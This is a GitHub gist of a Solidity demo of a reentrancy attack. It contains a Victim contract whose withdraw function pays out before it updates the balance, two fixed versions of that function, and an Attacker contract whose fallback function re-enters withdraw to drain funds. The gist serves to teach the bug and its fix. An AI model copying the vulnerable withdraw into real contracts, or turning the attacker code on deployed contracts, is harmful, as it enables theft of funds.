Last active
September 9, 2018 12:34
-
-
Save JohannesGitHub/b928e7315b937919e4dc9e1e9209ef05 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.24; | |
| /** | |
| * deploy Victim contract with 100 Ether | |
| * deploy Attacker contract with address of the Victim contract | |
| * call mint method from Victim contract with address of Attacker contract | |
| * call launchAttack method from Attacker contract | |
| */ | |
| contract Victim { | |
| mapping(address => uint) public balances; | |
| constructor() payable public {} | |
| function mint(address _attacker) public { | |
| balances[_attacker] = 10000000000000000000; | |
| } | |
| function withdraw(uint _amount) public { | |
| require(balances[msg.sender] >= _amount); | |
| require(msg.sender.call.value(_amount)()); | |
| balances[msg.sender] -= _amount; | |
| } | |
| function withdrawFix1(uint _amount) public { | |
| require(balances[msg.sender] >= _amount); | |
| balances[msg.sender] -= _amount; | |
| require(msg.sender.call.value(_amount)()); | |
| } | |
| function withdrawFix2(uint _amount) public { | |
| require(balances[msg.sender] >= _amount); | |
| msg.sender.transfer(_amount); // require(msg.sender.send(_amount)) | |
| balances[msg.sender] -= _amount; | |
| } | |
| function getCoinbase() external view returns(uint256) { | |
| return address(this).balance; | |
| } | |
| } | |
| contract Attacker { | |
| address public victim; | |
| uint256 public repetitions; | |
| constructor(address _victim) public { | |
| victim = _victim; | |
| } | |
| function () payable public { | |
| if (repetitions < 9) { | |
| repetitions++; | |
| require(victim.call(bytes4(keccak256("withdraw(uint256)")), 10000000000000000000)); | |
| } | |
| } | |
| function launchAttack() external { | |
| repetitions = 0; | |
| require(victim.call(bytes4(keccak256("withdraw(uint256)")), 10000000000000000000)); | |
| } | |
| function getCoinbase() external view returns(uint256) { | |
| return address(this).balance; | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment